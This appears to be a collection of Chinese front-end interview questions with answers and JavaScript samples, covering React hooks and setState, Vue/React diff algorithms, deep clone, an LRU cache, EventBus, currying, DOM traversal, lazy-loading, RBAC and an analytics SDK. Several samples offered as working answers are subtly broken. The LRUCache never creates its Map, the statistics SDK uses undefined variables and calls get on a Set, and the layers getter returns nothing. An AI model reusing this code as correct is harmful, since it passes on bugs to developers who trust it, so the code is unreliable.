function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    setInterval(()=>{
      console.log(value)
    },1000)
  }, [])

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}
答案

答案一直是0 useEffect闭包陷阱问题,useEffect依赖是空的,只会执行一次。setInterval中的value就只会获取它之前的变量。而react有个特点,每次value变化都会重新执行useEffectDemo这个函数。点击了三次函数会执行三次,三次过程中每个函数中value都不一样,setInterval获取的永远是第一个函数里面的0

// 追问:怎么才能打印出3?

function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    const timer = setInterval(()=>{
      console.log(value) // 3
    },1000)
    return ()=>{
      clearInterval(timer) // value变化会导致useEffectDemo函数多次执行,多次执行需要清除上一次的定时器,否则多次注册定时器
    }
  }, [value]) // 这里增加依赖项,每次依赖变化都会重新执行

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}

# 第153题 Vue React diff 算法有什么区别

diff 算法

  • Vue React diff 不是对比文字,而是 vdom 树,即 tree diff
  • 传统的 tree diff 算法复杂度是 O(n^3) ,算法不可用。

优化

Vue React 都是用于网页开发,基于 DOM 结构,对 diff 算法都进行了优化(或者简化)

  • 只在同一层级比较,不跨层级(DOM 结构的变化,很少有跨层级移动)
  • tag 不同则直接删掉重建,不去对比内部细节(DOM 结构变化,很少有只改外层,不改内层)
  • 同一个节点下的子节点,通过 key 区分

最终把时间复杂度降低到 O(n) ,生产环境下可用。这一点 Vue React 都是相同的。

React diff 特点 - 仅向右移动

比较子节点时,仅向右移动,不向左移动。

Vue2 diff 特点 - 双端比较

定义四个指针,分别比较

  • oldStartNodenewStartNode
  • oldStartNodenewEndNode
  • oldEndNodenewStartNode
  • oldEndNodenewEndNode

然后指针继续向中间移动,直到指针汇合

Vue3 diff 特点 - 最长递增子序列

例如数组 [3,5,7,1,2,8] 的最长递增子序列就是 [3,5,7,8 ] 。这是一个专门的算法。

算法步骤

  • 通过“前-前”比较找到开始的不变节点 [A, B]
  • 通过“后-后”比较找到末尾的不变节点 [G]
  • 剩余的有变化的节点 [F, C, D, E, H]
    • 通过 newIndexToOldIndexMap 拿到 oldChildren 中对应的 index [5, 2, 3, 4, -1]-1 表示之前没有,要新增)
    • 计算最长递增子序列得到 [2, 3, 4] ,对应的就是 [C, D, E] ,即这些节点可以不变
    • 剩余的节点,根据 index 进行新增、删除

该方法旨在尽量减少 DOM 的移动,达到最少的DOM操作

总结

  • React diff 特点 - 仅向右移动
  • Vue2 diff 特点 - updateChildren双端比较
  • Vue3 diff 特点 - updateChildren增加了最长递增子序列,更快
    • Vue3增加了patchFlag、静态提升、函数缓存等

连环问:diff 算法中 key 为何如此重要

无论在 Vue 还是 React 中,key 的作用都非常大。以 React 为例,是否使用 key 对内部 DOM 变化影响非常大。

<ul>
  <li v-for="(index, num) in nums" :key="index">
    {{num}}
  </li>
</ul>
const todoItems = todos.map((todo) =>
  <li key={todo.id}>
    {todo.text}
  </li>
)

# 第152题 如何做code-review

  • code review(简称 CR )即代码走查。领导对下属的代码进行审查,或者同事之间相互审查。
  • CR 已经是现代软件研发流程中非常重要的一步,持续规范的执行 CR 可以保证代码质量,避免破窗效应。

CR 检查什么

  • 代码规范(eslint 能检查一部分,但不是全部,如:变量命名)
  • 重复逻辑抽离、复用
  • 单个函数过长,需要拆分
  • 算法是否可优化?
  • 是否有安全漏洞?
  • 扩展性如何?
  • 是否和现有的功能重复了?
  • 是否有完善的单元测试
  • 组件设计是否合理

何时 CR

  • 提交 PR(或者 MR)时,看代码 diff 。给出评审意见,或者评审通过。可让领导评审,也可以同事之间相互评审。
  • 评审人要负责,不可形式主义。万一这段代码出了问题,评审人也要承担责任。
  • 例行,每周组织一次集体 CR ,拿出几个 PR 或者几段代码,大家一起评审。
  • 可以借机来统一评审规则,也可以像新人来演示如何评审。

# 第151题 手写JS深拷贝-考虑各种数据类型和循环引用

  • 使用JSON.stringify
    • 无法转换函数
    • 无法转换MapSet
    • 无法转换循环引用
  • 普通深拷贝
    • 只考虑ObjectArray
    • 无法转换MapSet和循环引用
    • 只能应对初级要求的技术一面

普通深拷贝 - 只考虑了简单的数组、对象

/**
 * 普通深拷贝 - 只考虑了简单的数组、对象
 * @param obj obj
 */
function cloneDeep(obj) {
    if (typeof obj !== 'object' || obj == null ) return obj

    let result
    if (obj instanceof Array) {
        result = []
    } else {
        result = {}
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key)) {            
            result[key] = cloneDeep(obj[key]) // 递归调用
        }
    }

    return result
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]])
}
a.self = a
console.log( cloneDeep(a) ) // 无法处理 Map Set 和循环引用

深拷贝-考虑数组、对象、Map、Set、循环引用

/**
 * 深拷贝
 * @param obj obj
 * @param map weakmap 为了避免循环引用、避免导致内存泄露的风险
 */
function cloneDeep(obj, map = new WeakMap()) {
    if (typeof obj !== 'object' || obj == null ) return obj

    // 避免循环引用
    const objFromMap = map.get(obj)
    if (objFromMap) return objFromMap

    let target = {}
    map.set(obj, target)

    // Map
    if (obj instanceof Map) {
        target = new Map()
        obj.forEach((v, k) => {
            const v1 = cloneDeep(v, map)
            const k1 = cloneDeep(k, map)
            target.set(k1, v1)
        })
    }

    // Set
    if (obj instanceof Set) {
        target = new Set()
        obj.forEach(v => {
            const v1 = cloneDeep(v, map)
            target.add(v1)
        })
    }

    // Array
    if (obj instanceof Array) {
        target = obj.map(item => cloneDeep(item, map))
    }

    // Object
    for (const key in obj) {
        const val = obj[key]
        const val1 = cloneDeep(val, map)
        target[key] = val1
    }

    return target
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]]),
    info: {
        city: 'shenzhen'
    },
    fn: () => { console.info(100) }
}
a.self = a
console.log( cloneDeep(a) )

# 第150题 用JS实现一个LRU缓存

  • 什么是LRU缓存
    • LRU(Least Recently Used) 最近最少使用
    • 假如我们有一块内存,专门用来缓存我们最近发访问的网页,访问一个新网页,我们就会往内存中添加一个网页地址,随着网页的不断增加,内存存满了,这个时候我们就需要考虑删除一些网页了。这个时候我们找到内存中最早访问的那个网页地址,然后把它删掉。这一整个过程就可以称之为 LRU 算法
    • 核心两个APIgetset
  • 分析
    • 用哈希表存储数据,这样get set才够快,时间复杂度O(1)
    • 必须是有序的,常用数据放在前面,沉水数据放在后面
    • 哈希表 + 有序,就是Map
class LRUCache {
    constructor(length) {
        if (length < 1) throw new Error('invalid length')
        this.length = length
    }

    set(key, value) {
        const data = this.data

        if (data.has(key)) {
            data.delete(key)
        }
        data.set(key, value)

        if (data.size > this.length) {
            // 如果超出了容量,则删除 Map 最老的元素
            const delKey = data.keys().next().value
            data.delete(delKey)
        }
    }

    get(key) {
        const data = this.data

        if (!data.has(key)) return null

        const value = data.get(key)

        // 先删除,再添加,就是最新的了
        data.delete(key)
        data.set(key, value)

        return value
    }
}
// 测试

const lruCache = new LRUCache(2)
lruCache.set(1, 1) // {1=1}
lruCache.set(2, 2) // {1=1, 2=2}
console.info(lruCache.get(1)) // 1 {2=2, 1=1}
lruCache.set(3, 3) // {1=1, 3=3}
console.info(lruCache.get(2)) // null
lruCache.set(4, 4) // {3=3, 4=4}
console.info(lruCache.get(1)) // null
console.info(lruCache.get(3)) // 3 {4=4, 3=3}
console.info(lruCache.get(4)) // 4 {3=3, 4=4}

# 第149题 手写EventBus自定义事件

分析

  • ononce注册函数,存储起来
  • emit时找到对应的函数,执行
  • off找到对应函数,从存储中删除

注意

  • on绑定的事件可以连续执行,除非off
  • once绑定的函数emit一次即删除,也可以未执行而被off

实现方式1

class EventBus {
    /**
     * {
     *    'key1': [
     *        { fn: fn1, isOnce: false },
     *        { fn: fn2, isOnce: false },
     *        { fn: fn3, isOnce: true },
     *    ]
     *    'key2': [] // 有序
     *    'key3': []
     * }
     */
    constructor() {
        this.events = {}
    }

    on(type, fn, isOnce = false) {
        const events = this.events
        if (events[type] == null) {
            events[type] = [] // 初始化 key 的 fn 数组
        }
        events[type].push({ fn, isOnce })
    }

    once(type, fn) {
        this.on(type, fn, true)
    }

    off(type, fn) {
        if (!fn) {
            // 解绑所有 type 的函数
            this.events[type] = []
        } else {
            // 解绑单个 fn
            const fnList = this.events[type]
            if (fnList) {
                this.events[type] = fnList.filter(item => item.fn !== fn)
            }
        }
    }

    emit(type, ...args) {
        const fnList = this.events[type]
        if (fnList == null) return

        // 注意过滤后重新赋值
        this.events[type] = fnList.filter(item => {
            const { fn, isOnce } = item
            fn(...args)

            // once 执行一次就要被过滤掉
            if (!isOnce) return true
            return false
        })
    }
}

实现方式2:拆分保存 on 和 once 事件

// 拆分保存 on 和 once 事件

class EventBus {
    constructor() {
        this.events = {} // { key1: [fn1, fn2], key2: [fn1, fn2] }
        this.onceEvents = {}
    }

    on(type, fn) {
        const events = this.events
        if (events[type] == null) events[type] = []
        events[type].push(fn)
    }

    once(type, fn) {
        const onceEvents = this.onceEvents
        if (onceEvents[type] == null) onceEvents[type] = []
        onceEvents[type].push(fn)
    }

    off(type, fn) {
        if (!fn) {
            // 解绑所有事件
            this.events[type] = []
            this.onceEvents[type] = []
        } else {
            // 解绑单个事件
            const fnList = this.events[type]
            const onceFnList = this.onceEvents[type]
            if (fnList) {
                this.events[type] = fnList.filter(curFn => curFn !== fn)
            }
            if (onceFnList) {
                this.onceEvents[type] = onceFnList.filter(curFn => curFn !== fn)
            }
        }
    }

    emit(type, ...args) {
        const fnList = this.events[type]
        const onceFnList = this.onceEvents[type]

        if (fnList) {
            fnList.forEach(f => f(...args))
        }
        if (onceFnList) {
            onceFnList.forEach(f => f(...args))

            // once 执行一次就删除
            this.onceEvents[type] = []
        }
    }
}
// 测试
const e = new EventBus()

function fn1(a, b) { console.log('fn1', a, b) }
function fn2(a, b) { console.log('fn2', a, b) }
function fn3(a, b) { console.log('fn3', a, b) }

e.on('key1', fn1)
e.on('key1', fn2)
e.once('key1', fn3)
e.on('xxxxxx', fn3)

e.emit('key1', 10, 20) // 触发 fn1 fn2 fn3

e.off('key1', fn1)

e.emit('key1', 100, 200) // 触发 fn2

# 第148题 手写curry函数,实现函数柯里化

分析

  • curry返回的是一个函数fn
  • 执行fn,中间状态返回函数,如add(1)或者add(1)(2)
  • 最后返回执行结果,如add(1)(2)(3)
// 实现函数柯里化

function curry(fn) {
    const fnArgsLength = fn.length // 传入函数的参数长度
    let args = []

    function calc(...newArgs) {
        // 积累参数保存到闭包中
        args = [
            ...args,
            ...newArgs
        ]
        // 积累的参数长度跟传入函数的参数长度对比
        if (args.length < fnArgsLength) {
            // 参数不够,返回函数
            return calc
        } else {
            // 参数够了,返回执行结果
            return fn.apply(this, args.slice(0, fnArgsLength)) // 传入超过fnArgsLength长度的参数没有意义
        }
    }

    // 返回一个函数
    return calc
}
// 测试

function add(a, b, c) {
    return a + b + c
}
// add(10, 20, 30) // 60

var curryAdd = curry(add)
var res = curryAdd(10)(20)(30) // 60
console.info(res)

# 第147题 手写一个LazyMan,实现sleep机制

  • 支持sleepeat两个方法
  • 支持链式调用
// LazyMan示例

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(5).eat('葡萄')

// 打印
// 张三 eat 苹果
// 张三 eat 香蕉
// 等待5秒
// 张三 eat 葡萄

思路

  • 由于有sleep功能,函数不能直接在调用时触发
  • 初始化一个列表,把函数注册进去
  • 由每个item触发next执行(遇到sleep则异步触发,使用setTimeout

/**
 * @description lazy man
 */

class LazyMan {
    constructor(name) {
        this.name = name

        this.tasks = [] // 任务列表

        // 等注册完后在初始执行next
        setTimeout(() => {
            this.next()
        })
    }

    next() {
        const task = this.tasks.shift() // 取出当前 tasks 的第一个任务
        if (task) task()
    }

    eat(food) {
        const task = () => {
            console.info(`${this.name} eat ${food}`)
            this.next() // 立刻执行下一个任务
        }
        this.tasks.push(task)

        return this // 链式调用
    }

    sleep(seconds) {
        const task = () => {
            console.info(`${this.name} 开始睡觉`)
            setTimeout(() => {
                console.info(`${this.name} 已经睡完了 ${seconds}s,开始执行下一个任务`)
                this.next() // xx 秒之后再执行下一个任务
            }, seconds * 1000)
        }
        this.tasks.push(task)

        return this // 链式调用
    }
}
// 测试

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(2).eat('葡萄').eat('西瓜').sleep(2).eat('橘子')

# 第146题 深度优先和广度优先遍历一个DOM树

遍历DOM树

  • 给一个DOM
  • 深度优先遍历结果会输出什么
  • 广度优先遍历结果会输出什么
<!-- 需要遍历的html节点 -->
<div id="box">
    <p>hello <b>world</b></p>
    <img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
    <!-注释->
    <ul>
        <li>a</li>
        <li>b</li>
    </ul>
</div>

深度优先,以深为主,递归,贪心,有深就深入,否则在回溯到上一级父节点

广度优先,使用队列,对子节点以广为主一层层的遍历

# 深度优先遍历一个DOM树

/**
 * 访问节点
 * @param n node
 */
function visitNode(n) {
    if (n instanceof Comment) {
      // 注释
      console.info('Comment node ---', n.textContent)
    }
    if (n instanceof Text) {
      // 文本
      const t = n.textContent?.trim() // 去掉换行符
      if (t) {
        console.info('Text node ---', t)
      }
    }
    if (n instanceof HTMLElement) {
      // element
      console.info('Element node ---', `<${n.tagName.toLowerCase()}>`)
    }
}

深度优先遍历-递归

/**
 * 深度优先遍历-递归
 * @param root dom node
 */
function depthFirstTraverse1(root) {
    visitNode(root) // 先访问root节点

    // .childNodes 和 .children 不一样
    // children // children是HTMLCollection 只获取元素
    // childNodes // childNodes是NodeList 包含Text和Comment节点
    const childNodes = root.childNodes 
    if (childNodes.length) {
        childNodes.forEach(child => {
            depthFirstTraverse1(child) // 递归 深入访问子节点
        })
    }
}

深度优先遍历-栈实现

/**
 * 可以不用递归,用栈。因为递归本身就是栈
 * 深度优先遍历:使用栈来实现  先进后出 进push 出pop
 * @param root dom node
 */
 function depthFirstTraverse2(root) {
    const stack = []

    // 根节点压栈
    stack.push(root)

    // stack.length继续访问栈顶
    while (stack.length > 0) {
        const curNode = stack.pop() // 出栈
        if (curNode == null) break

        visitNode(curNode) // 访问栈顶

        // 子节点压栈
        const childNodes = curNode.childNodes
        if (childNodes.length > 0) {
            // reverse 反顺序压栈
            // 压栈过程 [div,ul,comment,img,p,b,hello,world,li右,li左,a,b] 遇到子节点倒叙压栈
            Array.from(childNodes).reverse().forEach(child => stack.push(child))
        }
    }
 }
  • 递归逻辑更加清晰,但容易发生栈溢出错误。频繁创建函数,效率低一些
  • 非递归效率好,但逻辑比较复杂
<!-- 测试 -->
<div id="box">
    <p>hello <b>world</b></p>
    <img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
    <!-注释->
    <ul>
        <li>a</li>
        <li>b</li>
    </ul>
</div>
<script>
    const box = document.getElementById('box')
    depthFirstTraverse2(box)
</script>

深度优先遍历结果

# 广度优先遍历一个DOM树

/**
 * 广度优先遍历 需要一个队列:先进先出 进unshift 出pop
 * @param root dom node
 */
function breadthFirstTraverse(root) {
    const queue = [] // 数组 vs 链表实现性能更好一些
 
    // 根节点入队列
    queue.unshift(root)

    while (queue.length > 0) {
      const curNode = queue.pop() // 当前节点
      if (curNode == null) break

      visitNode(curNode)

      // 子节点入队
      const childNodes = curNode.childNodes
      if (childNodes.length) {
        // queue = [ul, comment, img, p] 出队pop  p标签出来访问 img出来访问 ...
        // p标签访问 也会导致子p下的子节点入队 [<b>,hello] ...
        childNodes.forEach(child => queue.unshift(child))
      }
    }
}
<!-- 测试 -->
<div id="box">
    <p>hello <b>world</b></p>
    <img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
    <!-注释->
    <ul>
        <li>a</li>
        <li>b</li>
    </ul>
</div>
<script>
    const box = document.getElementById('box')
    breadthFirstTraverse(box)
</script>

广度优先遍历结果

# 第145题 手写一个getType函数,获取详细的数据类型

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • numberstringboolean等值类型
    • 引用类型objectarraymapregexp
/**
 * 获取详细的数据类型
 * @param x x
 */
function getType(x) {
  const originType = Object.prototype.toString.call(x) // '[object String]'
  const spaceIndex = originType.indexOf(' ')
  const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
  return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise

# 第144题 手写一个JS函数,实现数组扁平化Array Flatten

  • 写一个JS函数,实现数组扁平化,只减少一次嵌套
  • 如输入[1,[2,[3]],4] 输出[1,2,[3],4]

思路

  • 定义空数组arr=[] 遍历当前数组
  • 如果item非数组,则累加到arr
  • 如果item是数组,则遍历之后累加到arr
/**
 * 数组扁平化,使用 push
 * @param arr arr
 */
function flatten1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      item.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组扁平化,使用 concat
 * @param arr arr
 */
function flatten2(arr) {
  let res = []

  arr.forEach(item => {
    res = res.concat(item)
  })

  return res
}
// 功能测试
const arr = [1, [2, [3], 4], 5]
console.info(flatten2(arr))

连环问:手写一个JS函数,实现数组深度扁平化

  • 如输入[1, [2, [3]], 4] 输出[1,2,3,4]

思路

  • 先实现一级扁平化,然后递归调用,直到全部扁平化
/**
 * 数组深度扁平化,使用 push
 * @param arr arr
 */
function flattenDeep1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep1(item) // 递归
      flatItem.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组深度扁平化,使用 concat
 * @param arr arr
 */
function flattenDeep2(arr) {
  let res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep2(item) // 递归
      res = res.concat(flatItem)
    } else {
      res = res.concat(item)
    }
  })

  return res
}
// 功能测试
const arr = [1, [2, [3, ['a', [true], 'b'], 4], 5], 6]
console.info( flattenDeep2(arr) )

# 第143题 设计实现一个H5图片懒加载

  • 分析
    • 定义 <img src="loading.png" data-src="xx.png" />
    • 页面滚动时,图片露出,将data-src赋值给src
    • 滚动要节流
  • 获取图片定位
    • 元素的位置ele.getBoundingClientRect
    • 图片top > window.innerHeight没有露出,top < window.innerHeight露出
<!-- 图片拦截加载 -->
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
<script>
  function mapImagesAndTryLoad() {
    const images = document.querySelectorAll('img[data-src]')
    if (images.length === 0) return

    images.forEach(img => {
      const rect = img.getBoundingClientRect()
      if (rect.top < window.innerHeight) {
        // 漏出来
        // console.info('loading img', img.dataset.src)
        img.src = img.dataset.src
        img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
      }
    })
  }

  // 滚动需要节流
  window.addEventListener('scroll', _.throttle(() => {
    mapImagesAndTryLoad()
  }, 100))

  // 初始化默认执行一次
  mapImagesAndTryLoad()
</script>

# 第142题 如果你是项目前端技术负责人,将如何做技术选型

  • 技术选型,选什么?
    • 前端框架(Vue React Nuxt.hs Next.js 或者nodejs框架)
    • 语言(JavaScriptTypescript
    • 其他(构建工具、CI/CD等)
  • 技术选型的依据
    • 社区是否足够成熟
    • 公司已经有了经验积累
    • 团队成员的学习成本
    • 要站在公司角度,而非个人角度
  • 要全面考虑各种成本
    • 学习成本
    • 管理成本(如用TS遍地都是any怎么办)
    • 运维成本(如用ssr技术)

# 第141题 开发一个H5抽奖页,需要后端提供哪些接口

  • 常用答案
    • 抽奖接口
    • 用户信息接口(需要知道抽奖人是谁)
    • 是否已经抽奖
  • 先梳理页面业务流程图
  • 答案
    • 登录,获取用户信息,用户是否已抽奖
    • 抽奖接口
    • 统计接口,微信JSSDK信息(需要和PM确定是否需要)
  • 其他
    • 让页面动起来,分析业务流程
    • 技术人员要去熟悉业务,技术永远是为业务服务的

# 第140题 简单描述hybrid模板的更新流程

增加版本后

  • App何时下载新版本
    • App启动时检查、下载
    • 实时,每隔5min检查、下载
  • 延迟使用
    • 立即下载、使用会影响性能(下载需要时间,网络环境不同)
    • 检查到新版本,现在后台下载,此时先用着老版本
    • 待新版本下载完成,在替换为新版本,开始使用
  • 总结
    • hybrid运转流程
    • 模板的延迟使用

# 第139题 设计一个“用户-角色-权限”的模型和功能

  • 例如一个博客管理后台
    • 普通成员:查看博客,审核博客,下架博客
    • 管理员:普通用户权限 + 修改博客 + 删除博客
    • 超级管理员:管理员角色 + 添加、删除用户、绑定用户和角色
  • 基于角色的访问控制 RBAC(Role based access control)
    • RBAC三个模型,两个关系
    • RBAC举例
    • 功能模块
      • 用户管理:增删改查,绑定角色
      • 角色管理:增删改查,绑定权限
      • 权限管理:增删改查
  • 总结
    • 尽量去参考现有标准
    • 设计就是数据模型(关系)+ 如何操作数据(功能)

# 第138题 设计一个H5编辑器的数据模型和核心功能

  • 使用vue+vuex开发
    • 问题1:点击保存按钮,提交给服务端的数据格式怎么设计
    • 问题2:如何保证画布和属性面板的信息同步
    • 问题3:如果在拓展一个图层面板,vuex如何设计数据
  • 总结
    • 组件有序结构,参考vnode格式
    • 通过id对应选中的组件,即可使用vuex同步数据
    • 图层使用vuex getter,而非独立的数据
// 问题1 提交给服务端的数据格式怎么设计

// 错误示例
const page = {
  // Array 才有序
  components: {
    'text1': {
      type: 'text',
      value: '文本1',
      style: {
        color: 'red',
        fontSize: '16px',
      },
      attrs: {

      },
      on: {
          
      }
    },
    'text2': {
      type: 'text',
      value: '文本2',
      color: 'red',
      fontSize: '16px',
    },
    'img1': {
      type: 'image',
      src: 'xxx.png',
      width: '100px'
    }
  }
}

// 存在问题
// 组件应该是有序的结构,属性应该参考vnode设计

// 正确示例
const store = {
  page: {
    title: '标题',
    setting: { /* 其他扩展信息:多语言,微信分享的配置,其他 */ },
    props: { /* 当前页面的属性设置,背景 */ },
    components: [
      // components 有序,数组
      // 参考vnode来设计
      {
        id: 'x1',
        name: '文本1',
        tag: 'text', // type
        style: { color: 'red', fontSize: '16px' },
        attrs: { /* 其他属性 */ },
        text: '文本1',
      },
      {
        // 文本2
      },
      {
        id: 'x3',
        name: '图片1',
        tag: 'image',
        style: { width: '100px' },
        attrs: { src: 'xxx.png' }
      }
    ]
  },

  // 问题二:如何保证画布和属性面板的信息同步 
  // vuex 同步

  // 用于记录当前选中的组件,记录 id 即可
  activeComponentId: 'x3'
}
// 问题三:如果在拓展一个图层面板,vuex如何设计数据

// 错误示例
{
  layers: [
    {
      id: 'text1',
      name: '文本1'
    },
    {
      id: 'text2', // component id
      name: '文本2' // layer name
    },
    {
      id: 'img1',
      name: '图片'
    },
  ]
}

// 存在问题
// 图层,仅仅是一个索引,应该用computed这种格式

// 正确示例
// Vuex getters
const getters = {
  // Vue computed
  // 图层里面的数据等于是把画布components重新计算了一遍
  // layers是画布的一个影子
  layers() {
    store.page.components.map(c => {
      return {
        id: c.id,
        name: c.name
      }
    })
  }
}

# 第137题 SPA和MPA应该如何选择

  • SPA(Single Page Application) 单页面应用
  • MPA(Multi Page Application) 多页面应用
  • 默认情况下VueReact都是SPA
  • SPA特点
    • 一个HTML页面通过前端路由来切换不同的前端功能
    • 以为操作为主,非展示为主
    • 适合一个综合web应用
    • SPA场景
      • 大型后台管理系统
      • 比较复杂的WebApp如外卖H5
  • MPA特点
    • 功能较少,一个页面展示的完
    • 以为展示为主,操作比较少
    • 适合一个孤立的页面
    • MPA场景
      • 分享页,如腾讯文档分享出去
      • 新闻详情页,如新闻App的详情页
      • 这类不合适用SPA做,生成的JS包大,加载慢
// spa单页应用配置

module.exports = { 
  entry: path.join(srcPath, 'index'), // 单入口
  plugins: [
    new HtmlWebpackPlugin({
        template: path.join(tplPath, 'index.html'), // 单个页面
        filename: 'index.html'
    })
  ]
}
// mpa多页应用配置

module.exports = {
  mode: 'production',
  // 多入口
  entry: {
    home: './src/home/index.js',
    product: './src/product/index.js',
    about: './src/about/index.js'
  },
  output: {
    filename: 'js/[name].[contentHash].js', // name 即 entry 的 key
    path: path.resolve(__dirname, './dist')
  },
  plugins: [
    // 三个页面
    new HtmlWebpackPlugin({
      title: '首页',
      template: './template/index.html',
      filename: 'home.html',
      chunks: ['home']
    }),
    new HtmlWebpackPlugin({
      title: '产品',
      template: './template/product.html',
      filename: 'product.html',
      chunks: ['product']
    }),
    new HtmlWebpackPlugin({
      title: '关于',
      template: './template/about.html',
      filename: 'about.html',
      chunks: ['about']
    })
  ]
}

# 第136题 如何设计一个前端统计SDK

  • 前端统计的范围
    • 访问量PV
    • 自定义事件
    • 性能,错误
// 统计sdk

const PV_URL_SET = new Set()

class MyStatistic {
  constructor(productId) {
    this.productId = productId

    // 内部处理
    this.initPerformance() // 性能统计
    this.initError() // 错误监控
  }

  // 发送统计数据
  send(url, params = {}) {
    params.productId = productId

    const paramArr = []
    for (let key in params) {
      const val = params[key]
      paramArr.push(`${key}=${value}`)
    }

    const newUrl = `${url}?${paramArr.join('&')}` // url?a=10&b=20

    // 用 <img> 发送:1. 可跨域;2. 兼容性非常好
    const img = document.createElement('img')
    img.src = newUrl // get
  }

  // 初始化性能统计
  initPerformance() {
    const url = 'yyy'
    this.send(url, performance.timing) // 给最原始的、完整的结果,原始数据。让服务端加工处理
  }

  // 初始化错误监控
  initError() {
    window.addEventListener('error', event => {
      const { error, lineno, colno } = event
      this.error(error, { lineno, colno })
    })
    // Promise 未 catch 住的报错
    window.addEventListener('unhandledrejection', event => {
      this.error(new Error(event.reason), { type: 'unhandledrejection' })
    })
  }

  pv() {
    const href = location.href
    if (PV_URL_SET.get(href)) return // 不重复发送 pv

    this.event('pv')

    PV_URL_SET.add(href)
  }

  event(key, val) {
    const url = 'xxx' // 自定义事件统计 server API
    this.send(url, {key, val})
  }

  error(err, info = {}) {
    const url = 'zzz'
    const { message, stack } = err
    this.send(url, { message, stack, ...info  })
  }
}

// const s = new MyStatistic('a1') // 最好在DOMContentLoaded的时候在初始化
// s.pv() // 用户主动发送 SPA 路由切换 PV

// 用户自行发送自定义事件
// s.event('vip', 'close')

// 用户处理try catch
// try {
// } catch(ex) {
//     s.error(ex, {})
// }

// 在vue、react单独监听配置的错误的配置 也可以s.error单独发过去。跟try catch一样的

连环问:sourcemap有何作用,如何配置

js报错,可能会问sourcemap相关问题

  • sourcemap作用
    • JS上线时要压缩、混淆
    • 线上的JS报错信息,将无法识别行、列
    • sourcemap即可解决这个问题
  • webpack通过devtool配置sourcemap
    • evalJSeval(...)中,不生成sourcemap
    • source-map:生成单独的map文件,并在JS最后指定
    • eval-source-mapJSeval(...)中,sourcemap内嵌
    • inline-source-mapsourcemap内嵌到JS中,不是单独文件
    • cheap-source-mapsourcemap中只有行信息,没有列
    • eval-cheap-source-mapJSeval(...)中,没有独立的sourcemap文件,cheap-source-map只有行没有列
    • 总结
      • 开发环境使用eval效率高:evaleval-source-mapeval-cheap-source-map
      • 线上环境使用:source-map 生成单独的map文件(不要泄露sourcemap文件)

# 第135题 React setState经典面试题

// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
componentDidMount() {
  this.setState({ val: this.state.val + 1 })
  console.log(this.state.val)
  // 第 1 次 log
  this.setState({ val: this.state.val + 1 })
  console.log(this.state.val)
  // 第 2 次 log
  setTimeout(() => {
    this.setState({ val: this.state.val + 1 }) 
    console.log(this.state.val)
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val)
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}
答案
// 答案
0
0
2
3
  • 关于setState的两个考点
    • 同步或异步
    • state合并或不合并
      • setState传入函数不会合并覆盖
      • setState传入对象会合并覆盖Object.assigin({})
  • 分析
    • 默认情况
      • state默认异步更新
      • state默认合并后更新(后面的覆盖前面的,多次重复执行不会累加)
    • setState在合成事件和生命周期钩子中,是异步更新的
    • react同步更新,不在react上下文中触发
      • 原生事件setTimeoutsetIntervalpromise.thenAjax回调中,setState是同步的,可以马上获取更新后的值
        • 原生事件如document.getElementById('test').addEventListener('click',()=>{this.setState({count:this.state.count + 1}})
      • 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而setTimeout是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步
    • 注意:在react18中不一样
      • 上述场景,在react18中可以异步更新(Auto Batch
      • 需将ReactDOM.render替换为ReactDOM.createRoot
